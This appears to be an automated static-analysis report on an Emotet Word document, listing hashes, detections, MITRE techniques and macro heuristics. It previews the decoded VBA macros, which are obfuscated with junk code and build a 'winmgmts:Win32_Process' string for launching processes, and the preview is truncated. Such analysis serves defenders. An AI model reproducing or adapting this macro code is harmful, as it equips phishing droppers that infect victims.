Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 5cead002b018b6ae…

MALICIOUS

Office (OLE)

139.4 KB Created: 2019-05-31 17:49:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c2673a9a4746288e8c8e1d238be553d2 SHA-1: 671c2b0b7e5eb83aa8dcefee60fa737f4f28df2a SHA-256: 5cead002b018b6aeff8ce1b1e1b37e241325aaa29ee9b2086bf315dc29fde2d7
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with a specific Emotet signature. Critical heuristics indicate the presence of auto-executing VBA macros that use CreateObject, a common technique for Emotet to download and execute further stages. The presence of an AutoOpen macro further supports this malicious intent.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16972 bytes
SHA-256: 0c7d61d420a1655a19d532abcc3bf20c11832200e1ce7f91cae499a1471eed5c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "awsaanQB, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "BbHdEn, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "B7zidj, 2, 2, MSForms, ComboBox"

Attribute VB_Name = "PtWiGRi"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jjbCJw_V"

Attribute VB_Name = "JTpu4rw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "OYYEDrz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rdjvshfs"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "DWNdEzf"
Function iEz_ST()
   Select Case "aM6pPV"
         Case "NNzrtI"
         Debug.Print "af3Z1C"
            Debug.Print Tan("zGWLZG")
         Debug.Print Log("NkCGWFn8")
            Debug.Print "bnKuJXB"
            Debug.Print "jISWda"
            Debug.Print Tan("H_juJrH")
         Case "Edua37"
            Debug.Print Log("aJIP80K")
            Debug.Print "vj9Nkr"
            Debug.Print Log("Z9CpX7D")
            Debug.Print "Oj3pvN"
            Debug.Print Tan("zQdaMAZ8")
            Debug.Print "cd7jw__X"
End Select

   Select Case "zFAID4El"
         Case "wzDtzGtG"
         Debug.Print "vjCn1rh"
            Debug.Print Tan("qb3bKq")
         Debug.Print Log("fH89wX")
            Debug.Print "w9_2GRi"
            Debug.Print "odDXSWVj"
            Debug.Print Tan("WEY5Df")
         Case "w2ZIJo"
            Debug.Print Log("mipMh4vc")
            Debug.Print "L3TvlZ"
            Debug.Print Log("wTkE7W")
            Debug.Print "dPjoUa"
            Debug.Print Tan("jw5HviT")
            Debug.Print "sQAzNPA"
End Select

End Function
Function Yz_FMc()
   Select Case "iGhNtB8j"
         Case "hCiwKn7M"
         Debug.Print "KlwHn8"
            Debug.Print Tan("cEqfhP")
         Debug.Print Log("iYbWRRsA")
            Debug.Print "mJ71jGz"
            Debug.Print "DTakwmr0"
            Debug.Print Tan("HjSTS9")
         Case "d764wzNN"
            Debug.Print Log("ljjqjfY")
            Debug.Print "ppvlTc"
            Debug.Print Log("ub1n3B")
            Debug.Print "E1MfnX"
            Debug.Print Tan("RPvhdAw")
            Debug.Print "luH1Umb5"
End Select

If 113609 = 113609 Then
   Select Case "VHjwtNAA"
         Case "VbkXTfm"
         Debug.Print "DpThKOB"
            Debug.Print Tan("ArqBGJ")
         Debug.Print Log("U1pDSC7")
            Debug.Print "Mh8s6d"
            Debug.Print "XNGlWk"
            Debug.Print Tan("qA0wZV")
         Case "hGzAXwnX"
            Debug.Print Log("ziBiFNzs")
            Debug.Print "cECQ9ziC"
            Debug.Print Log("v5GNEwr2")
            Debug.Print "ftufkNNU"
            Debug.Print Tan("zrrjLkEj")
            Debug.Print "Oka07GY"
End Select

R49JrT = aDuF2Ii + "winmgmts:Wi" + oUEojNI + "n32_Process" + tc8Lvw7v
   Select Case "IYiTjj9"
         Case "LQf_8TdZ"
         Debug.Print "
... (truncated)